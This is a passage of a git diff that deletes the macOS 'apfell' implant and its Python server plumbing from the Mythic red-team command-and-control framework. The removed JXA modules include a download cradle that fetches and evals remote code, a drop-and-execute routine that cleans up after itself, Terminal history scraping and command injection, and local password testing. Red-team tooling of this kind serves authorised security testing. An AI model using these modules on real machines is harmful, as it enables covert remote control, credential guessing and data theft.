- return {"user_output":response, "completed": true, "status": "error"};
- }
- }
- // shell output uses \r instead of \n or \r\n to line endings, fix this nonsense
- response = response.replace(/\r/g, "\n");
- return {"user_output":response, "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/sleep.js b/Payload_Types/apfell/agent_code/sleep.js
deleted file mode 100755
index e9b2fa780..000000000
--- a/Payload_Types/apfell/agent_code/sleep.js
+++ /dev/null
@@ -1,15 +0,0 @@
-exports.sleep = function(task, command, params){
- try{
- let command_params = JSON.parse(params);
- if(command_params.hasOwnProperty('interval') && command_params['interval'] >= 0){
- C2.interval = command_params['interval'];
- }
- if(command_params.hasOwnProperty('jitter') && command_params['jitter'] >= 0 && command_params['jitter'] <= 100){
- C2.jitter = command_params['jitter'];
- }
- return {"user_output":"Sleep interval updated to " + C2.interval + " and sleep jitter updated to " + C2.jitter, "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
-
diff --git a/Payload_Types/apfell/agent_code/socks.js b/Payload_Types/apfell/agent_code/socks.js
deleted file mode 100644
index 1887764e7..000000000
--- a/Payload_Types/apfell/agent_code/socks.js
+++ /dev/null
@@ -1,13 +0,0 @@
-exports.socks = function(task, command, params){
- let parameters = JSON.parse(params);
- let data = {"socks": {} };
- if(parameters['action'] === 'start'){
- data['socks'] = {"start": parameters['port']} ;
- }else{
- data['socks'] = {"stop": parameters['port']} ;
- }
- let resp = C2.postResponse(task, data);
- return {"user_output": JSON.stringify(resp), "completed": true};
-};
-
-
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/socks_send.js b/Payload_Types/apfell/agent_code/socks_send.js
deleted file mode 100644
index 78a28e879..000000000
--- a/Payload_Types/apfell/agent_code/socks_send.js
+++ /dev/null
@@ -1,7 +0,0 @@
-exports.socks_send = function(task, command, params){
- //let parameters = JSON.parse(params);
- let data = {"socks": {} };
- data['socks']['data'] = [{"server_id": 34567, "data": ""}];
- let resp = C2.postResponse(task, data);
- return {"user_output": JSON.stringify(resp), "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/spawn_download_cradle.js b/Payload_Types/apfell/agent_code/spawn_download_cradle.js
deleted file mode 100755
index ec22dd6b7..000000000
--- a/Payload_Types/apfell/agent_code/spawn_download_cradle.js
+++ /dev/null
@@ -1,29 +0,0 @@
-exports.spawn_download_cradle = function(task, command, params){
- try{
- let config = JSON.parse(params);
- if(!config.hasOwnProperty('url')){return {"user_output": "missing url parameter: 'a URL address where the jxa code is hosted'", "completed": true, "status": "error"};}
- let full_url = config['url'];
- let path = "/usr/bin/osascript";
- let args = ['-l','JavaScript','-e'];
- let command = "eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString(";
- command = command + "'" + full_url + "')),$.NSUTF8StringEncoding)));";
- args.push(command);
- args.push("&");
- try{
- let pipe = $.NSPipe.pipe;
- let file = pipe.fileHandleForReading; // NSFileHandle
- let task = $.NSTask.alloc.init;
- task.launchPath = path;
- task.arguments = args;
- task.standardOutput = pipe;
- task.standardError = pipe;
- task.launch;
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- return {"user_output":"Process spawned", "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/spawn_drop_and_execute.js b/Payload_Types/apfell/agent_code/spawn_drop_and_execute.js
deleted file mode 100755
index 961e2f27e..000000000
--- a/Payload_Types/apfell/agent_code/spawn_drop_and_execute.js
+++ /dev/null
@@ -1,39 +0,0 @@
-exports.spawn_drop_and_execute = function(task, command, params){
- let artifacts = [];
- try{
- let config = JSON.parse(params);
- //full_url = C2.baseurl + "api/v1.0/payloads/get/" + split_params[3];
- let m = [...Array(Number(10))].map(i=>(~~(Math.random()*36)).toString(36)).join('');
- let temp_file = "/tmp/" + m;
- let file = C2.upload(task, config['template'], temp_file);
-
- let path = "/usr/bin/osascript";
- let result = write_data_to_file(file, temp_file);
- if(result !== "file written"){return {"user_output": result, "completed": true, "status": 'error'};}
- else{artifacts.push({"base_artifact": "File Create", "artifact": temp_file});}
- let args = ['-l','JavaScript', temp_file, '&'];
- try{
- let pipe = $.NSPipe.pipe;
- let file = pipe.fileHandleForReading; // NSFileHandle
- let task = $.NSTask.alloc.init;
- task.launchPath = path;
- task.arguments = args;
- task.standardOutput = pipe;
- task.standardError = pipe;
- task.launch;
- artifacts.push({"base_artifact": "Process Create", "artifact": "/usr/bin/osascript " + args.join(" ")});
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
- }
- //give the system time to actually execute the file before we delete it
- $.NSThread.sleepForTimeInterval(3);
- let fileManager = $.NSFileManager.defaultManager;
- fileManager.removeItemAtPathError($(temp_file), $());
- return {"user_output": "Created temp file: " + temp_file + ", started process and removed file", "completed": true, "artifacts": artifacts};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error", "artifacts": artifacts};
- }
-};
-
-
\ No newline at end of file
diff --git a/Payload_Types/apfell/agent_code/system_info.js b/Payload_Types/apfell/agent_code/system_info.js
deleted file mode 100755
index 4c1264adf..000000000
--- a/Payload_Types/apfell/agent_code/system_info.js
+++ /dev/null
@@ -1,7 +0,0 @@
-exports.system_info = function(task, command, params){
- try{
- return {"user_output":JSON.stringify(currentApp.systemInfo(), null, 2), "completed": true};
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/terminals_read.js b/Payload_Types/apfell/agent_code/terminals_read.js
deleted file mode 100755
index f8382c7d5..000000000
--- a/Payload_Types/apfell/agent_code/terminals_read.js
+++ /dev/null
@@ -1,54 +0,0 @@
-exports.terminals_read = function(task, command, params){
- let split_params = {};
- try{
- split_params = JSON.parse(params);
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- let all_data = {};
- try{
- let term = Application("Terminal");
- if(term.running()){
- let windows = term.windows;
- for(let i = 0; i < windows.length; i++){
- let win_info = {
- "Name": windows[i].name(),
- "Visible": windows[i].visible(),
- "Frontmost": windows[i].frontmost(),
- "tabs": []
- };
- let all_tabs = [];
- // store the windows information in id_win in all_data
- all_data["window_" + i] = win_info;
- for(let j = 0; j < windows[i].tabs.length; j++){
- let tab_info = {
- "tab": j,
- "Busy": windows[i].tabs[j].busy(),
- "Processes": windows[i].tabs[j].processes(),
- "Selected": windows[i].tabs[j].selected(),
- "TTY": windows[i].tabs[j].tty()
- };
- if(windows[i].tabs[j].titleDisplaysCustomTitle()){
- tab_info["CustomTitle"] = windows[i].tabs[j].customTitle();
- }
- if(split_params['level'] === 'history'){
- tab_info["History"] = windows[i].tabs[j].history();
- }
- if(split_params['level'] === 'contents'){
- tab_info["Contents"] = windows[i].tabs[j].contents();
- }
- all_tabs.push(tab_info);
- }
- // store all of the tab information corresponding to that window id at id_tabs
- win_info['tabs'] = all_tabs;
- }
- }else{
- return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
- }
-
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- let output = JSON.stringify(all_data, null, 2);
- return {"user_output":output, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/terminals_send.js b/Payload_Types/apfell/agent_code/terminals_send.js
deleted file mode 100755
index 3788e914b..000000000
--- a/Payload_Types/apfell/agent_code/terminals_send.js
+++ /dev/null
@@ -1,25 +0,0 @@
-exports.terminals_send = function(task, command, params){
- let split_params = {"window": 0, "tab": 0, "command": ""};
- try{
- split_params = Object.assign({}, split_params, JSON.parse(params));
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- let output = "No Command Output";
- try{
- let term = Application("Terminal");
- if(term.running()){
- let window = split_params['window'];
- let tab = split_params['tab'];
- let cmd = split_params['command'];
- term.doScript(cmd, {in:term.windows[window].tabs[tab]});
- output = term.windows[window].tabs[tab].contents();
- }else{
- return {"user_output":"Terminal is not running", "completed": true, "status": "error"};
- }
- }
- catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
- return {"user_output":output, "completed": true};
-};
diff --git a/Payload_Types/apfell/agent_code/test_password.js b/Payload_Types/apfell/agent_code/test_password.js
deleted file mode 100755
index 2c0e48255..000000000
--- a/Payload_Types/apfell/agent_code/test_password.js
+++ /dev/null
@@ -1,31 +0,0 @@
-exports.test_password = function(task, command, params){
- ObjC.import("OpenDirectory");
- let session = $.ODSession.defaultSession;
- let sessionType = 0x2201 // $.kODNodeTypeAuthentication
- let recType = $.kODRecordTypeUsers
- let node = $.ODNode.nodeWithSessionTypeError(session, sessionType, $());
- let username = apfell.user;
- let password = "";
- if(params.length > 0){
- let data = JSON.parse(params);
- if(data.hasOwnProperty('username') && data['username'] !== ""){
- username = data['username'];
- }
- if(data.hasOwnProperty('password') && data['password'] !== ""){
- password = data['password'];
- }
- // if no password is supplied, try an empty password
- }
- let user = node.recordWithRecordTypeNameAttributesError(recType,$(username), $(), $())
- if(user.js !== undefined){
- if(user.verifyPasswordError($(password),$())){
- return {"user_output":"Successful authentication", "completed": true};
- }
- else{
- return {"user_output":"Failed authentication", "completed": true};
- }
- }
- else{
- return {"user_output":"User does not exist", "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/agent_code/upload.js b/Payload_Types/apfell/agent_code/upload.js
deleted file mode 100755
index 31af6541a..000000000
--- a/Payload_Types/apfell/agent_code/upload.js
+++ /dev/null
@@ -1,32 +0,0 @@
-exports.upload = function(task, command, params){
- try{
- let config = JSON.parse(params);
- let full_path = config['remote_path'];
- let data = "Can't find 'file' or 'file_id' with non-blank values";
- let file_id = "";
- if(config.hasOwnProperty('file') && config['file'] !== ""){
- data = C2.upload(task, config['file'], "");
- file_id = config['file']
- }
- if(typeof data === "string"){
- return {"user_output":String(data), "completed": true, "status": "error"};
- }
- else{
- data = write_data_to_file(data, full_path);
- try{
- let fm = $.NSFileManager.defaultManager;
- let pieces = ObjC.deepUnwrap(fm.componentsToDisplayForPath(full_path));
- if(pieces === undefined){
- return {'status': 'error', 'user_output': String(data), 'completed': true};
- }
- full_path = "/" + pieces.slice(1).join("/");
- }catch(error){
- return {'status': 'error', 'user_output': error.toString(), 'completed': true};
- }
- return {"user_output":String(data), "completed": true, 'full_path': full_path, "file_id": file_id,
- "artifacts": [{"base_artifact": "File Create", "artifact": full_path}]};
- }
- }catch(error){
- return {"user_output":error.toString(), "completed": true, "status": "error"};
- }
-};
diff --git a/Payload_Types/apfell/mythic/CommandBase.py b/Payload_Types/apfell/mythic/CommandBase.py
deleted file mode 100644
index 6e949deb3..000000000
--- a/Payload_Types/apfell/mythic/CommandBase.py
+++ /dev/null
@@ -1,483 +0,0 @@
-from abc import abstractmethod, ABCMeta
-import json
-from enum import Enum
-import base64
-import uuid
-from pathlib import Path
-
-
-class MythicStatus(Enum):
- Success = "success"
- Error = "error"
- Completed = "completed"
- Processed = "processed"
- Processing = "processing"
-
-
-class ParameterType(Enum):
- String = "String"
- Boolean = "Boolean"
- File = "File"
- Array = "Array"
- ChooseOne = "Choice"
- ChooseMultiple = "ChoiceMultiple"
- Credential_JSON = "Credential-JSON"
- Credential_Account = "Credential-Account"
- Credential_Realm = "Credential-Realm"
- Credential_Type = ("Credential-Type",)
- Credential_Value = "Credential-Credential"
- Number = "Number"
- Payload = "PayloadList"
- ConnectionInfo = "AgentConnect"
-
-
-class CommandParameter:
- def __init__(
- self,
- name: str,
- type: ParameterType,
- description: str = "",
- choices: [any] = None,
- required: bool = True,
- default_value: any = None,
- validation_func: callable = None,
- value: any = None,
- supported_agents: [str] = None,
- ):
- self.name = name
- self.type = type
- self.description = description
- if choices is None:
- self.choices = []
- else:
- self.choices = choices
- self.required = required
- self.validation_func = validation_func
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.default_value = default_value
- self.supported_agents = supported_agents if supported_agents is not None else []
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def type(self):
- return self._type
-
- @type.setter
- def type(self, type):
- self._type = type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def choices(self):
- return self._choices
-
- @choices.setter
- def choices(self, choices):
- self._choices = choices
-
- @property
- def validation_func(self):
- return self._validation_func
-
- @validation_func.setter
- def validation_func(self, validation_func):
- self._validation_func = validation_func
-
- @property
- def supported_agents(self):
- return self._supported_agents
-
- @supported_agents.setter
- def supported_agents(self, supported_agents):
- self._supported_agents = supported_agents
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is not None:
- type_validated = TypeValidators().validate(self.type, value)
- if self.validation_func is not None:
- try:
- self.validation_func(type_validated)
- self._value = type_validated
- except Exception as e:
- raise ValueError(
- "Failed validation check for parameter {} with value {}".format(
- self.name, str(value)
- )
- )
- return
- else:
- # now we do some verification ourselves based on the type
- self._value = type_validated
- return
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "type": self._type.value,
- "description": self._description,
- "choices": "\n".join(self._choices),
- "required": self._required,
- "default_value": self._value,
- "supported_agents": "\n".join(self._supported_agents),
- }
-
-
-class TypeValidators:
- def validateString(self, val):
- return str(val)
-
- def validateNumber(self, val):
- try:
- return int(val)
- except:
- return float(val)
-
- def validateBoolean(self, val):
- if isinstance(val, bool):
- return val
- else:
- raise ValueError("Value isn't bool")
-
- def validateFile(self, val):
- try: # check if the file is actually a file-id
- uuid_obj = uuid.UUID(val, version=4)
- return str(uuid_obj)
- except ValueError:
- pass
- return base64.b64decode(val)
-
- def validateArray(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("value isn't array")
-
- def validateCredentialJSON(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("value ins't a dictionary")
-
- def validatePass(self, val):
- return val
-
- def validateChooseMultiple(self, val):
- if isinstance(val, list):
- return val
- else:
- raise ValueError("Choices aren't in a list")
-
- def validatePayloadList(self, val):
- return str(uuid.UUID(val, version=4))
-
- def validateAgentConnect(self, val):
- if isinstance(val, dict):
- return val
- else:
- raise ValueError("Not instance of dictionary")
-
- switch = {
- "String": validateString,
- "Number": validateNumber,
- "Boolean": validateBoolean,
- "File": validateFile,
- "Array": validateArray,
- "Credential-JSON": validateCredentialJSON,
- "Credential-Account": validatePass,
- "Credential-Realm": validatePass,
- "Credential-Type": validatePass,
- "Credential-Credential": validatePass,
- "Choice": validatePass,
- "ChoiceMultiple": validateChooseMultiple,
- "PayloadList": validatePayloadList,
- "AgentConnect": validateAgentConnect,
- }
-
- def validate(self, type: ParameterType, val: any):
- return self.switch[type.value](self, val)
-
-
-class TaskArguments(metaclass=ABCMeta):
- def __init__(self, command_line: str):
- self.command_line = str(command_line)
-
- @property
- def args(self):
- return self._args
-
- @args.setter
- def args(self, args):
- self._args = args
-
- def get_arg(self, key: str):
- if key in self.args:
- return self.args[key].value
- else:
- return None
-
- def has_arg(self, key: str) -> bool:
- return key in self.args
-
- def get_commandline(self) -> str:
- return self.command_line
-
- def is_empty(self) -> bool:
- return len(self.args) == 0
-
- def add_arg(self, key: str, value, type: ParameterType = None):
- if key in self.args:
- self.args[key].value = value
- else:
- if type is None:
- self.args[key] = CommandParameter(
- name=key, type=ParameterType.String, value=value
- )
- else:
- self.args[key] = CommandParameter(name=key, type=type, value=value)
-
- def rename_arg(self, old_key: str, new_key: str):
- if old_key not in self.args:
- raise Exception("{} not a valid parameter".format(old_key))
- self.args[new_key] = self.args.pop(old_key)
-
- def remove_arg(self, key: str):
- self.args.pop(key, None)
-
- def to_json(self):
- temp = []
- for k, v in self.args.items():
- temp.append(v.to_json())
- return temp
-
- def load_args_from_json_string(self, command_line: str):
- temp_dict = json.loads(command_line)
- for k, v in temp_dict.items():
- for k2,v2 in self.args.items():
- if v2.name == k:
- v2.value = v
-
- async def verify_required_args_have_values(self):
- for k, v in self.args.items():
- if v.value is None:
- v.value = v.default_value
- if v.required and v.value is None:
- raise ValueError("Required arg {} has no value".format(k))
-
- def __str__(self):
- if len(self.args) > 0:
- temp = {}
- for k, v in self.args.items():
- if isinstance(v.value, bytes):
- temp[k] = base64.b64encode(v.value).decode()
- else:
- temp[k] = v.value
- return json.dumps(temp)
- else:
- return self.command_line
-
- @abstractmethod
- async def parse_arguments(self):
- pass
-
-
-class AgentResponse:
- def __init__(self, response: dict):
- self.response = response
-
-
-class Callback:
- def __init__(self, **kwargs):
- self.__dict__.update(kwargs)
-
-
-class BrowserScript:
- # if a browserscript is specified as part of a PayloadType, then it's a support script
- # if a browserscript is specified as part of a command, then it's for that command
- def __init__(self, script_name: str, author: str = None):
- self.script_name = script_name
- self.author = author
-
- def to_json(self, base_path: Path):
- try:
- code_file = (
- base_path
- / "mythic"
- / "browser_scripts"
- / "{}.js".format(self.script_name)
- )
- if code_file.exists():
- code = code_file.read_bytes()
- code = base64.b64encode(code).decode()
- else:
- code = ""
- return {"script": code, "name": self.script_name, "author": self.author}
- except Exception as e:
- return {"script": str(e), "name": self.script_name, "author": self.author}
-
-
-class MythicTask:
- def __init__(
- self, taskinfo: dict, args: TaskArguments, status: MythicStatus = None
- ):
- self.task_id = taskinfo["id"]
- self.original_params = taskinfo["original_params"]
- self.completed = taskinfo["completed"]
- self.callback = Callback(**taskinfo["callback"])
- self.agent_task_id = taskinfo["agent_task_id"]
- self.operator = taskinfo["operator"]
- self.args = args
- self.status = MythicStatus.Success
- if status is not None:
- self.status = status
-
- def get_status(self) -> MythicStatus:
- return self.status
-
- def set_status(self, status: MythicStatus):
- self.status = status
-
- def __str__(self):
- return str(self.args)
-
-
-class CommandBase(metaclass=ABCMeta):
- def __init__(self, agent_code_path: Path):
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
-
- @property
- @abstractmethod
- def cmd(self):
- pass
-
- @property
- @abstractmethod
- def needs_admin(self):
- pass
-
- @property
- @abstractmethod
- def help_cmd(self):
- pass
-
- @property
- @abstractmethod
- def description(self):
- pass
-
- @property
- @abstractmethod
- def version(self):
- pass
-
- @property
- @abstractmethod
- def is_exit(self):
- pass
-
- @property
- @abstractmethod
- def is_file_browse(self):
- pass
-
- @property
- @abstractmethod
- def is_process_list(self):
- pass
-
- @property
- @abstractmethod
- def is_download_file(self):
- pass
-
- @property
- @abstractmethod
- def is_remove_file(self):
- pass
-
- @property
- @abstractmethod
- def is_upload_file(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def argument_class(self):
- pass
-
- @property
- @abstractmethod
- def attackmapping(self):
- pass
-
- @property
- def browser_script(self):
- pass
-
- @abstractmethod
- async def create_tasking(self, task: MythicTask) -> MythicTask:
- pass
-
- @abstractmethod
- async def process_response(self, response: AgentResponse):
- pass
-
- def to_json(self):
- params = self.argument_class("").to_json()
- if self.browser_script is not None:
- bscript = {"browser_script": self.browser_script.to_json(self.base_path)}
- else:
- bscript = {}
- return {
- "cmd": self.cmd,
- "needs_admin": self.needs_admin,
- "help_cmd": self.help_cmd,
- "description": self.description,
- "version": self.version,
- "is_exit": self.is_exit,
- "is_file_browse": self.is_file_browse,
- "is_process_list": self.is_process_list,
- "is_download_file": self.is_download_file,
- "is_remove_file": self.is_remove_file,
- "is_upload_file": self.is_upload_file,
- "author": self.author,
- "attack": [{"t_num": a} for a in self.attackmapping],
- "parameters": params,
- **bscript,
- }
diff --git a/Payload_Types/apfell/mythic/MythicBaseRPC.py b/Payload_Types/apfell/mythic/MythicBaseRPC.py
deleted file mode 100644
index df92fe802..000000000
--- a/Payload_Types/apfell/mythic/MythicBaseRPC.py
+++ /dev/null
@@ -1,95 +0,0 @@
-from aio_pika import connect_robust, IncomingMessage, Message
-import asyncio
-import uuid
-from CommandBase import *
-import json
-
-
-class RPCResponse:
- def __init__(self, resp: dict):
- self._raw_resp = resp
- if resp["status"] == "success":
- self.status = MythicStatus.Success
- self.response = resp["response"] if "response" in resp else ""
- self.error_message = None
- else:
- self.status = MythicStatus.Error
- self.error_message = resp["error"]
- self.response = None
-
- @property
- def status(self):
- return self._status
-
- @status.setter
- def status(self, status):
- self._status = status
-
- @property
- def error_message(self):
- return self._error_message
-
- @error_message.setter
- def error_message(self, error_message):
- self._error_message = error_message
-
- @property
- def response(self):
- return self._response
-
- @response.setter
- def response(self, response):
- self._response = response
-
-
-class MythicBaseRPC:
- def __init__(self, task: MythicTask):
- self.task_id = task.task_id
- self.connection = None
- self.channel = None
- self.callback_queue = None
- self.futures = {}
- self.loop = asyncio.get_event_loop()
-
- async def connect(self):
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- self.connection = await connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- self.channel = await self.connection.channel()
- self.callback_queue = await self.channel.declare_queue(exclusive=True)
- await self.callback_queue.consume(self.on_response)
-
- return self
-
- def on_response(self, message: IncomingMessage):
- future = self.futures.pop(message.correlation_id)
- future.set_result(message.body)
-
- async def call(self, n, receiver: str = None) -> RPCResponse:
- if self.connection is None:
- await self.connect()
- correlation_id = str(uuid.uuid4())
- future = self.loop.create_future()
-
- self.futures[correlation_id] = future
- if receiver is None:
- router = "rpc_queue"
- else:
- router = "{}_rpc_queue".format(receiver)
- await self.channel.default_exchange.publish(
- Message(
- json.dumps(n).encode(),
- content_type="application/json",
- correlation_id=correlation_id,
- reply_to=self.callback_queue.name,
- ),
- routing_key=router,
- )
-
- return RPCResponse(json.loads(await future))
diff --git a/Payload_Types/apfell/mythic/MythicC2RPC.py b/Payload_Types/apfell/mythic/MythicC2RPC.py
deleted file mode 100644
index c43be2875..000000000
--- a/Payload_Types/apfell/mythic/MythicC2RPC.py
+++ /dev/null
@@ -1,29 +0,0 @@
-from MythicBaseRPC import *
-
-
-class MythicC2RPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicC2RPC(MythicBaseRPC):
- async def call_c2_func(
- self, c2_profile: str, function_name: str, message: str
- ) -> MythicC2RPCResponse:
- resp = await self.call(
- {"action": function_name, "message": message, "task_id": self.task_id},
- c2_profile,
- )
- return MythicC2RPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/MythicCryptoRPC.py b/Payload_Types/apfell/mythic/MythicCryptoRPC.py
deleted file mode 100644
index 6a7673d17..000000000
--- a/Payload_Types/apfell/mythic/MythicCryptoRPC.py
+++ /dev/null
@@ -1,47 +0,0 @@
-from MythicBaseRPC import *
-import base64
-
-
-class MythicCryptoRPCResponse(RPCResponse):
- def __init__(self, resp: RPCResponse):
- super().__init__(resp._raw_resp)
- if resp.status == MythicStatus.Success:
- self.data = resp.response["data"]
- else:
- self.data = None
-
- @property
- def data(self):
- return self._data
-
- @data.setter
- def data(self, data):
- self._data = data
-
-
-class MythicCryptoRPC(MythicBaseRPC):
- async def encrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "encrypt_bytes",
- "data": base64.b64encode(data).decode(),
- "task_id": self.task_id,
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
-
- async def decrypt_bytes(
- self, data: bytes, with_uuid: bool = False
- ) -> MythicCryptoRPCResponse:
- resp = await self.call(
- {
- "action": "decrypt_bytes",
- "task_id": self.task_id,
- "data": base64.b64encode(data).decode(),
- "with_uuid": with_uuid,
- }
- )
- return MythicCryptoRPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/MythicFileRPC.py b/Payload_Types/apfell/mythic/MythicFileRPC.py
deleted file mode 100644
index 77388965e..000000000
--- a/Payload_Types/apfell/mythic/MythicFileRPC.py
+++ /dev/null
@@ -1,172 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import uuid
-
-
-class MythicFileRPCResponse(RPCResponse):
- def __init__(self, file: RPCResponse):
- super().__init__(file._raw_resp)
- if file.status == MythicStatus.Success:
- self.agent_file_id = file.response["agent_file_id"]
- self.task = file.response["task"]
- self.timestamp = file.response["timestamp"]
- self.deleted = file.response["deleted"]
- self.operator = file.response["operator"]
- self.delete_after_fetch = file.response["delete_after_fetch"]
- self.filename = file.response["filename"]
- self.md5 = file.response["md5"]
- self.sha1 = file.response["sha1"]
- self.chunks_received = file.response["chunks_received"]
- self.total_chunks = file.response["total_chunks"]
- if "contents" in file.response:
- self.contents = base64.b64decode(file.response["contents"])
- else:
- self.contents = None
- else:
- self.agent_file_id = None
- self.task = None
- self.timestamp = None
- self.deleted = None
- self.operator = None
- self.delete_after_fetch = None
- self.filename = None
- self.md5 = None
- self.sha1 = None
- self.chunks_received = None
- self.total_chunks = None
- self.contents = None
-
- @property
- def agent_file_id(self):
- return self._agent_file_id
-
- @agent_file_id.setter
- def agent_file_id(self, agent_file_id):
- self._agent_file_id = agent_file_id
-
- @property
- def task(self):
- return self._task
-
- @task.setter
- def task(self, task):
- self._task = task
-
- @property
- def timestamp(self):
- return self._timestamp
-
- @timestamp.setter
- def timestamp(self, timestamp):
- self._timestamp = timestamp
-
- @property
- def deleted(self):
- return self._deleted
-
- @deleted.setter
- def deleted(self, deleted):
- self._deleted = deleted
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def delete_after_fetch(self):
- return self._delete_after_fetch
-
- @delete_after_fetch.setter
- def delete_after_fetch(self, delete_after_fetch):
- self._delete_after_fetch = delete_after_fetch
-
- @property
- def filename(self):
- return self._filename
-
- @filename.setter
- def filename(self, filename):
- self._filename = filename
-
- @property
- def md5(self):
- return self._md5
-
- @md5.setter
- def md5(self, md5):
- self._md5 = md5
-
- @property
- def sha1(self):
- return self._sha1
-
- @sha1.setter
- def sha1(self, sha1):
- self._sha1 = sha1
-
- @property
- def chunks_received(self):
- return self._chunks_received
-
- @chunks_received.setter
- def chunks_received(self, chunks_received):
- self._chunks_received = chunks_received
-
- @property
- def total_chunks(self):
- return self._total_chunks
-
- @total_chunks.setter
- def total_chunks(self, total_chunks):
- self._total_chunks = total_chunks
-
- @property
- def contents(self):
- return self._contents
-
- @contents.setter
- def contents(self, contents):
- self._contents = contents
-
-
-class MythicFileRPC(MythicBaseRPC):
- async def register_file(
- self,
- file: bytes,
- delete_after_fetch: bool = None,
- saved_file_name: str = None,
- remote_path: str = None,
- is_screenshot: bool = None,
- is_download: bool = None,
- ) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "register_file",
- "file": base64.b64encode(file).decode(),
- "delete_after_fetch": delete_after_fetch
- if delete_after_fetch is not None
- else True,
- "saved_file_name": saved_file_name
- if saved_file_name is not None
- else str(uuid.uuid4()),
- "task_id": self.task_id,
- "remote_path": remote_path if remote_path is not None else "",
- "is_screenshot": is_screenshot if is_screenshot is not None else False,
- "is_download": is_download if is_download is not None else False,
- }
- )
- return MythicFileRPCResponse(resp)
-
- async def get_file_by_name(self, filename: str) -> MythicFileRPCResponse:
- resp = await self.call(
- {
- "action": "get_file_by_name",
- "task_id": self.task_id,
- "filename": filename,
- }
- )
- return MythicFileRPCResponse(resp)
diff --git a/Payload_Types/apfell/mythic/MythicPayloadRPC.py b/Payload_Types/apfell/mythic/MythicPayloadRPC.py
deleted file mode 100644
index 2af8bb3a1..000000000
--- a/Payload_Types/apfell/mythic/MythicPayloadRPC.py
+++ /dev/null
@@ -1,303 +0,0 @@
-from MythicBaseRPC import *
-import base64
-import pathlib
-
-
-class MythicPayloadRPCResponse(RPCResponse):
- def __init__(self, payload: RPCResponse):
- super().__init__(payload._raw_resp)
- if payload.status == MythicStatus.Success:
- self.uuid = payload.response["uuid"]
- self.tag = payload.response["tag"]
- self.operator = payload.response["operator"]
- self.creation_time = payload.response["creation_time"]
- self.payload_type = payload.response["payload_type"]
- self.operation = payload.response["operation"]
- self.wrapped_payload = payload.response["wrapped_payload"]
- self.deleted = payload.response["deleted"]
- self.auto_generated = payload.response["auto_generated"]
- self.task = payload.response["task"]
- if "contents" in payload.response:
- self.contents = payload.response["contents"]
- self.build_phase = payload.response["build_phase"]
- self.agent_file_id = payload.response["file_id"]["agent_file_id"]
- self.filename = payload.response["file_id"]["filename"]
- self.c2info = payload.response["c2info"]
- self.commands = payload.response["commands"]
- self.build_parameters = payload.response["build_parameters"]
- else:
- self.uuid = None
- self.tag = None
- self.operator = None
- self.creation_time = None
- self.payload_type = None
- self.operation = None
- self.wrapped_payload = None
- self.deleted = None
- self.auto_generated = None
- self.task = None
- self.contents = None
- self.build_phase = None
- self.agent_file_id = None
- self.filename = None
- self.c2info = None
- self.commands = None
- self.build_parameters = None
-
- @property
- def uuid(self):
- return self._uuid
-
- @uuid.setter
- def uuid(self, uuid):
- self._uuid = uuid
-
- @property
- def tag(self):
- return self._tag
-
- @tag.setter
- def tag(self, tag):
- self._tag = tag
-
- @property
- def operator(self):
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- self._operator = operator
-
- @property
- def creation_time(self):
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def payload_type(self):
- return self._payload_type
-
- @payload_type.setter
- def payload_type(self, payload_type):
- self._payload_type = payload_type
-
- @property
- def location(self):
- return self._location
-
- @property
- def operation(self):
- return self._operation
-
